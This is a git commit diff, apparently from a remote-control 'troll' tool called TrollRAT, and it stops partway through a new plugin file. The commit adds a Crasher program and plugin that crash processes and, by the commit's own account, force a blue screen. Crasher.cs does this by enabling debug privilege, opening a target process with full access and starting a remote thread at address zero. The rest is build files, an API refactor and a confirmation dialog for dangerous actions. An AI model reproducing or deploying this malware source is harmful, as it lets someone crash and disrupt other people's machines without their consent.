Many Changes & new Crasher Payload

- Crasher Payload for crashing and killing processes + forcing a BSOD.
 - Changed API for Actions: Payloads are now per-class and not per-method.
 - New base Type of PayloadAction: Dangerous payload actions, which can display a warning message before executing.
 - New plugin structure: Each Plugin can now have its own folder.
This commit is contained in:
Leurak 2016-07-20 14:30:28 +02:00
parent c49a5d9768
commit 31225ed4ec
25 changed files with 745 additions and 109 deletions

65
Crasher/Crasher.cs Normal file
View file

@ -0,0 +1,65 @@
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace Crasher
{
static class Crasher
{
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateRemoteThread(IntPtr hProcess,
IntPtr lpThreadAttributes, uint dwStackSize, IntPtr
lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("ntdll.dll", SetLastError = true)]
public static extern IntPtr RtlAdjustPrivilege(int Privilege, bool Enable,
bool IsThreadPrivilege, out bool PreviousValue);
static void Main()
{
string[] args = Environment.GetCommandLineArgs();
if (args.Length != 2)
Environment.Exit(-1);
int pid;
if (!int.TryParse(args[1], out pid))
Environment.Exit(-2);
try
{
Process process = Process.GetProcessById(pid);
if (process.HasExited)
Environment.Exit(1);
bool x;
RtlAdjustPrivilege(20 /* SeDebugPrivilege */, true, false, out x);
IntPtr hProcess = OpenProcess(2097151, false, process.Id);
if (hProcess.ToInt32() != 0)
{
IntPtr ret = CreateRemoteThread(hProcess, IntPtr.Zero, 0,
IntPtr.Zero /* Let it execute *0 => Access Violation */,
IntPtr.Zero, 0, new IntPtr());
if (ret.ToInt32() != 0)
Environment.Exit(0);
else
Environment.Exit(0x8000000 | Marshal.GetLastWin32Error());
} else
Environment.Exit(0x4000000 | Marshal.GetLastWin32Error());
}
catch (Exception)
{
Environment.Exit(2);
}
}
}
}

76
Crasher/Crasher.csproj Normal file
View file

@ -0,0 +1,76 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{9AD2E477-397B-4642-9D2C-66196EA2CAA1}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>Crasher</RootNamespace>
<AssemblyName>Crasher</AssemblyName>
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>..\Debug\Plugins\TrollRATPayloads\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>..\Release\Plugins\TrollRATPayloads\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Deployment" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Crasher.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<EmbeddedResource Include="Properties\Resources.resx">
<Generator>ResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
<SubType>Designer</SubType>
</EmbeddedResource>
<Compile Include="Properties\Resources.Designer.cs">
<AutoGen>True</AutoGen>
<DependentUpon>Resources.resx</DependentUpon>
</Compile>
<None Include="Properties\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
</None>
<Compile Include="Properties\Settings.Designer.cs">
<AutoGen>True</AutoGen>
<DependentUpon>Settings.settings</DependentUpon>
<DesignTimeSharedInput>True</DesignTimeSharedInput>
</Compile>
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
</Project>

View file

@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// Allgemeine Informationen über eine Assembly werden über die folgenden
// Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern,
// die einer Assembly zugeordnet sind.
[assembly: AssemblyTitle("Crasher")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Crasher")]
[assembly: AssemblyCopyright("Copyright © 2016")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Durch Festlegen von ComVisible auf "false" werden die Typen in dieser Assembly unsichtbar
// für COM-Komponenten. Wenn Sie auf einen Typ in dieser Assembly von
// COM aus zugreifen müssen, sollten Sie das ComVisible-Attribut für diesen Typ auf "True" festlegen.
[assembly: ComVisible(false)]
// Die folgende GUID bestimmt die ID der Typbibliothek, wenn dieses Projekt für COM verfügbar gemacht wird
[assembly: Guid("9ad2e477-397b-4642-9d2c-66196ea2caa1")]
// Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten:
//
// Hauptversion
// Nebenversion
// Buildnummer
// Revision
//
// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern
// übernehmen, indem Sie "*" eingeben:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]

71
Crasher/Properties/Resources.Designer.cs generated Normal file
View file

@ -0,0 +1,71 @@
//------------------------------------------------------------------------------
// <auto-generated>
// Dieser Code wurde von einem Tool generiert.
// Laufzeitversion: 4.0.30319.42000
//
// Änderungen an dieser Datei können fehlerhaftes Verhalten verursachen und gehen verloren, wenn
// der Code neu generiert wird.
// </auto-generated>
//------------------------------------------------------------------------------
namespace Crasher.Properties
{
/// <summary>
/// Eine stark typisierte Ressourcenklasse zum Suchen von lokalisierten Zeichenfolgen usw.
/// </summary>
// Diese Klasse wurde von der StronglyTypedResourceBuilder-Klasse
// über ein Tool wie ResGen oder Visual Studio automatisch generiert.
// Um einen Member hinzuzufügen oder zu entfernen, bearbeiten Sie die .ResX-Datei und führen dann ResGen
// mit der Option /str erneut aus, oder erstellen Sie Ihr VS-Projekt neu.
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources
{
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal Resources()
{
}
/// <summary>
/// Gibt die zwischengespeicherte ResourceManager-Instanz zurück, die von dieser Klasse verwendet wird.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager
{
get
{
if ((resourceMan == null))
{
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Crasher.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
/// <summary>
/// Überschreibt die CurrentUICulture-Eigenschaft des aktuellen Threads für alle
/// Ressourcenlookups, die diese stark typisierte Ressourcenklasse verwenden.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture
{
get
{
return resourceCulture;
}
set
{
resourceCulture = value;
}
}
}
}

View file

@ -0,0 +1,117 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>

30
Crasher/Properties/Settings.Designer.cs generated Normal file
View file

@ -0,0 +1,30 @@
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
// Runtime Version:4.0.30319.42000
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace Crasher.Properties
{
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
{
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
public static Settings Default
{
get
{
return defaultInstance;
}
}
}
}

View file

@ -0,0 +1,7 @@
<?xml version='1.0' encoding='utf-8'?>
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)">
<Profiles>
<Profile Name="(Default)" />
</Profiles>
<Settings />
</SettingsFile>

View file

@ -11,8 +11,10 @@ If I got new ideas, I will add them here. If you got a good idea, open an Issue
- [x] Search function
- API
- [x] Basic API for Payloads, Actions and Settings
- [x] Plugin support
- [ ] Support for random Payload Delays
- [x] Plugin support
- [ ] Plugins can provide their own JavaScript additions
- [ ] API for Global Actions (e.g. Screenshot and Run Script)
- Coding
- [x] Split server commands into multiple classes
- [x] Firewall support
@ -28,11 +30,11 @@ If I got new ideas, I will add them here. If you got a good idea, open an Issue
- [x] Melting Screen
- [x] Train/Elevator effect
- [x] Draw Pixels to Screen
- [ ] Crash PC
- [x] Crash PC
- [x] Earthquake (Shaking Screen)
- [ ] Shaking Windows
- [ ] Show/Hide Windows
- [ ] Crash single Program
- [x] Crash single Program
- [ ] Draw uploaded Images
- [ ] Play uploaded Sounds
- [x] Text to Speech Output

View file

@ -11,6 +11,8 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TrollRATPayloads", "TrollRA
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TrollRATActions", "TrollRATActions\TrollRATActions.csproj", "{9BF0213E-2757-4898-8C94-42F1E464C468}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Crasher", "Crasher\Crasher.csproj", "{9AD2E477-397B-4642-9D2C-66196EA2CAA1}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
@ -34,6 +36,7 @@ Global
{646733A7-D07D-48D2-B064-EDCADD6DEE1F}.Release|x86.ActiveCfg = Release|Any CPU
{646733A7-D07D-48D2-B064-EDCADD6DEE1F}.Release|x86.Build.0 = Release|Any CPU
{1CBD0582-81FE-4145-A51A-16FF96EB8B34}.Debug|Any CPU.ActiveCfg = Debug|Win32
{1CBD0582-81FE-4145-A51A-16FF96EB8B34}.Debug|Any CPU.Build.0 = Debug|Win32
{1CBD0582-81FE-4145-A51A-16FF96EB8B34}.Debug|x64.ActiveCfg = Debug|x64
{1CBD0582-81FE-4145-A51A-16FF96EB8B34}.Debug|x64.Build.0 = Debug|x64
{1CBD0582-81FE-4145-A51A-16FF96EB8B34}.Debug|x86.ActiveCfg = Debug|Win32
@ -67,6 +70,18 @@ Global
{9BF0213E-2757-4898-8C94-42F1E464C468}.Release|x64.Build.0 = Release|Any CPU
{9BF0213E-2757-4898-8C94-42F1E464C468}.Release|x86.ActiveCfg = Release|Any CPU
{9BF0213E-2757-4898-8C94-42F1E464C468}.Release|x86.Build.0 = Release|Any CPU
{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Debug|Any CPU.Build.0 = Debug|Any CPU
{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Debug|x64.ActiveCfg = Debug|Any CPU
{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Debug|x64.Build.0 = Debug|Any CPU
{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Debug|x86.ActiveCfg = Debug|Any CPU
{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Debug|x86.Build.0 = Debug|Any CPU
{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Release|Any CPU.ActiveCfg = Release|Any CPU
{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Release|Any CPU.Build.0 = Release|Any CPU
{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Release|x64.ActiveCfg = Release|Any CPU
{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Release|x64.Build.0 = Release|Any CPU
{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Release|x86.ActiveCfg = Release|Any CPU
{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Release|x86.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE

View file

@ -14,12 +14,15 @@ namespace TrollRAT.Payloads
protected List<PayloadAction> actions = new List<PayloadAction>();
public List<PayloadAction> Actions => actions;
}
public abstract class ExecutablePayload : Payload
{
protected abstract void execute();
public Payload()
public ExecutablePayload()
{
actions.Add(new PayloadActionExecute());
actions.Add(new PayloadActionExecute(this));
}
public void Execute()
@ -29,7 +32,7 @@ namespace TrollRAT.Payloads
}
}
public abstract class LoopingPayload : Payload
public abstract class LoopingPayload : ExecutablePayload
{
protected bool running = false;
public bool Running => running;
@ -44,7 +47,7 @@ namespace TrollRAT.Payloads
delay = new PayloadSettingNumber(defaultDelay, "Delay (in 1/100 seconds)", 1, 10000, 1);
settings.Add(delay);
actions.Add(new PayloadActionStartStop());
actions.Add(new PayloadActionStartStop(this));
var thread = new Thread(new ThreadStart(Loop));
thread.Start();

View file

@ -1,20 +1,27 @@
using System;
using System.Runtime.InteropServices;
using TrollRAT.Utils;
namespace TrollRAT.Payloads
{
public abstract class PayloadAction : IDBase<PayloadAction>
{
public abstract string getListButton(Payload payload);
public abstract string getSettingsButton(Payload payload);
protected Payload payload;
public Payload Payload => payload;
public PayloadAction(Payload payload)
{
this.payload = payload;
}
public abstract string getListButton();
public abstract string getSettingsButton();
// Returns JavaScript to be executed by the client
public abstract string execute(Payload payload);
public abstract string execute();
// Returns the JavaScript that should be used for the button
// in order to trigger its server routine
public string getExecuteJavascript()
public virtual string getExecuteJavascript()
{
return String.Format("execute({0});", id);
}
@ -22,82 +29,89 @@ namespace TrollRAT.Payloads
public abstract class SimplePayloadAction : PayloadAction
{
public override string getListButton(Payload payload)
{
string icon = getIcon(payload);
public SimplePayloadAction(Payload payload) : base(payload) { }
if (icon == null)
public abstract string Title { get; }
public abstract string Icon { get; }
public virtual string Color => "default";
public override string getListButton()
{
if (Icon == null)
return null;
return String.Format("<button type=\"button\" onclick=\"{0}\" class=\"btn btn-default btn-xs\">" +
return String.Format("<button type=\"button\" onclick=\"{0}\" class=\"btn btn-{2} btn-xs\">" +
"<span class=\"glyphicon glyphicon-{1}\" aria-hidden=\"true\"></span></button> ",
getExecuteJavascript(), icon);
getExecuteJavascript(), Icon, Color);
}
public override string getSettingsButton(Payload payload)
public override string getSettingsButton()
{
return String.Format("<button type=\"button\" onclick=\"{0}\" class=\"btn btn-default btn-xl\">" +
"{1}</button> ", getExecuteJavascript(), getTitle(payload));
return String.Format("<button type=\"button\" onclick=\"{0}\" class=\"btn btn-{2} btn-xl\">" +
"{1}</button> ", getExecuteJavascript(), Title, Color);
}
}
public abstract string getTitle(Payload payload);
public abstract string getIcon(Payload payload);
public abstract class DangerousPayloadAction : SimplePayloadAction
{
public DangerousPayloadAction(Payload payload) : base(payload) { }
// TODO Proper Escaping
public abstract string WarningMessage { get; }
public override string Color => "danger";
public override string getExecuteJavascript()
{
return String.Format("showYesNo('{0}', '{2}', '{1}');", WarningMessage, base.getExecuteJavascript(), Title);
}
}
public class PayloadActionExecute : SimplePayloadAction
{
public override string execute(Payload payload)
public override string Title => "Execute";
public override string Icon => "cog";
public PayloadActionExecute(Payload payload) : base(payload) { }
public override string execute()
{
payload.Execute();
if (payload is ExecutablePayload)
{
ExecutablePayload pl = ((ExecutablePayload)payload);
pl.Execute();
}
else
{
throw new ArgumentException("Payload is not an ExecutablePayload");
}
return "void(0);";
}
public override string getIcon(Payload payload) { return "cog"; }
public override string getTitle(Payload payload) { return "Execute"; }
}
public class PayloadActionStartStop : SimplePayloadAction
{
public override string execute(Payload payload)
LoopingPayload pl;
public PayloadActionStartStop(Payload payload) : base(payload)
{
if (payload is LoopingPayload)
{
LoopingPayload pl = ((LoopingPayload)payload);
if (pl.Running)
{
pl.Stop();
} else
{
pl.Start();
}
} else
{
pl = ((LoopingPayload)payload);
else
throw new ArgumentException("Payload is not a LoopingPayload");
}
}
public override string execute()
{
if (pl.Running)
pl.Stop();
else
pl.Start();
return "update();";
}
public override string getIcon(Payload payload)
{
if (payload is LoopingPayload)
{
LoopingPayload pl = ((LoopingPayload)payload);
return pl.Running ? "stop" : "play";
}
throw new ArgumentException("Payload is not a LoopingPayload");
}
public override string getTitle(Payload payload)
{
if (payload is LoopingPayload)
{
LoopingPayload pl = ((LoopingPayload)payload);
return pl.Running ? "Stop" : "Start";
}
throw new ArgumentException("Payload is not a LoopingPayload");
}
public override string Icon => pl.Running ? "stop" : "play";
public override string Title => pl.Running ? "Stop" : "Start";
}
}

View file

@ -1,5 +1,7 @@
using System.ComponentModel.Composition;
using System.ComponentModel.Composition.Hosting;
using System.IO;
using System.Reflection;
namespace TrollRAT.Plugins
{
@ -10,7 +12,14 @@ namespace TrollRAT.Plugins
internal void loadPlugins()
{
var catalog = new DirectoryCatalog("Plugins");
var catalog = new AggregateCatalog();
foreach (string dir in Directory.GetDirectories(
Path.Combine(Path.GetDirectoryName(Assembly.GetCallingAssembly().Location), "Plugins"))) {
catalog.Catalogs.Add(new DirectoryCatalog(dir));
}
var container = new CompositionContainer(catalog);
container.ComposeParts(this);

View file

@ -54,7 +54,7 @@ namespace TrollRAT.Server
public override void doAction(HttpListenerContext context, Payload payload, PayloadAction action)
{
string response = action.execute(payload);
string response = action.execute();
respondString(response, context.Response, "text/javascript");
}
}

View file

@ -74,7 +74,7 @@ namespace TrollRAT.Server
{
foreach (PayloadAction action in payload.Actions)
{
string btn = action.getSettingsButton(payload);
string btn = action.getSettingsButton();
if (btn != null)
{
builder.Append(btn);

View file

@ -48,7 +48,7 @@ namespace TrollRAT.Server
foreach (PayloadAction action in payload.Actions)
{
string btn = action.getListButton(payload);
string btn = action.getListButton();
if (btn != null)
{
content.Append(btn);

View file

@ -101,6 +101,22 @@
</div>
</div>
<div class="modal" id="yesNoModal" tabindex="-1" role="dialog">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
<h4 class="modal-title" id="yesNoTitle"></h4>
</div>
<div class="modal-body" id="yesNoContent"></div>
<div class="modal-footer">
<button type="button" data-dismiss="modal" class="btn btn-default">No</button>
<button type="button" data-dismiss="modal" id="yesBtn" class="btn btn-primary">Yes</button>
</div>
</div>
</div>
</div>
<div class="modal fade" id="screenshotModal" tabindex="-1" role="dialog">
<div class="modal-dialog modal-lg">
<div class="modal-content">
@ -142,6 +158,13 @@
window.setTimeout(function () { blockUpdate = false; }, 5000);
}
function showYesNo(message, title, yesAction) {
$("#yesBtn").attr("onclick", yesAction);
$("#yesNoTitle").html(title);
$("#yesNoContent").html(message);
$("#yesNoModal").modal();
}
function update() {
if (blockUpdate)
return;
@ -251,7 +274,10 @@
url: "/execute",
data: { "id": id, "nocache": new Date().getTime()}
}).done(function (js) {
eval(js);
// This is not even required, because jQuery already executes the script because of it's MIME type.
// This means, using this, the script would be executed twice.
//eval(js);
}).error(function () {
serverFail();
});

View file

@ -17,7 +17,7 @@
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>..\Debug\Plugins\</OutputPath>
<OutputPath>..\Debug\Plugins\TrollRATActions\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
@ -26,7 +26,7 @@
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>..\Release\Plugins\</OutputPath>
<OutputPath>..\Release\Plugins\TrollRATActions\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>

View file

@ -21,32 +21,36 @@ namespace TrollRATActions
public class PayloadActionClearScreen : SimplePayloadAction
{
public PayloadActionClearScreen(Payload payload) : base(payload) { }
[DllImport("user32.dll")]
static extern bool RedrawWindow(IntPtr hWnd, IntPtr lprcUpdate, IntPtr hrgnUpdate, int flags);
public override string execute(Payload payload)
public override string execute()
{
RedrawWindow(IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 133);
return "void(0);";
}
public override string getIcon(Payload payload) { return null; }
public override string getTitle(Payload payload) { return "Clear Screen"; }
public override string Icon => null;
public override string Title => "Clear Screen";
}
public class PayloadActionClearWindows : SimplePayloadAction
{
public PayloadActionClearWindows(Payload payload) : base(payload) { }
[DllImport("Plugins\\TrollRATNative.dll")]
static extern void clearWindows();
public override string execute(Payload payload)
public override string execute()
{
clearWindows();
return "void(0);";
}
public override string getIcon(Payload payload) { return null; }
public override string getTitle(Payload payload) { return "Close open Windows"; }
public override string Icon => null;
public override string Title => "Close open Windows";
}
}

View file

@ -51,8 +51,7 @@
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="ExtensionSettings" />
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
@ -93,7 +92,7 @@
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;winmm.lib;%(AdditionalDependencies)</AdditionalDependencies>
<SubSystem>Windows</SubSystem>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<OutputFile>$(OutDir)\Plugins\$(TargetName)$(TargetExt)</OutputFile>
<OutputFile>$(OutDir)\Plugins\TrollRATPayloads\$(TargetName)$(TargetExt)</OutputFile>
<AssemblyDebug>true</AssemblyDebug>
</Link>
</ItemDefinitionGroup>
@ -110,6 +109,7 @@
<SubSystem>Windows</SubSystem>
<EntryPointSymbol>DllMain</EntryPointSymbol>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<OutputFile>$(OutDir)\..\..\Debug\Plugins\$(TargetName)$(TargetExt)</OutputFile>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
@ -130,7 +130,7 @@
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<GenerateDebugInformation>false</GenerateDebugInformation>
<AssemblyDebug>false</AssemblyDebug>
<OutputFile>$(OutDir)\Plugins\$(TargetName)$(TargetExt)</OutputFile>
<OutputFile>$(OutDir)\Plugins\TrollRATPayloads\$(TargetName)$(TargetExt)</OutputFile>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
@ -151,6 +151,7 @@
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<GenerateDebugInformation>false</GenerateDebugInformation>
<AssemblyDebug>false</AssemblyDebug>
<OutputFile>$(OutDir)\..\..\Debug\Plugins\$(TargetName)$(TargetExt)</OutputFile>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
@ -167,6 +168,5 @@
<ClInclude Include="Utils.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
<ImportGroup Label="ExtensionTargets" />
</Project>

View file

@ -0,0 +1,159 @@
using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.InteropServices;
using TrollRAT.Payloads;
namespace TrollRATPayloads.Payloads
{
public class PayloadCrasher : Payload
{
[DllImport("ntdll.dll", SetLastError = true)]
public static extern IntPtr RtlAdjustPrivilege(int Privilege, bool bEnablePrivilege,
bool IsThreadPrivilege, out bool PreviousValue);
protected class PayloadActionCrashWindows : DangerousPayloadAction
{
public PayloadActionCrashWindows(Payload payload) : base(payload) { }
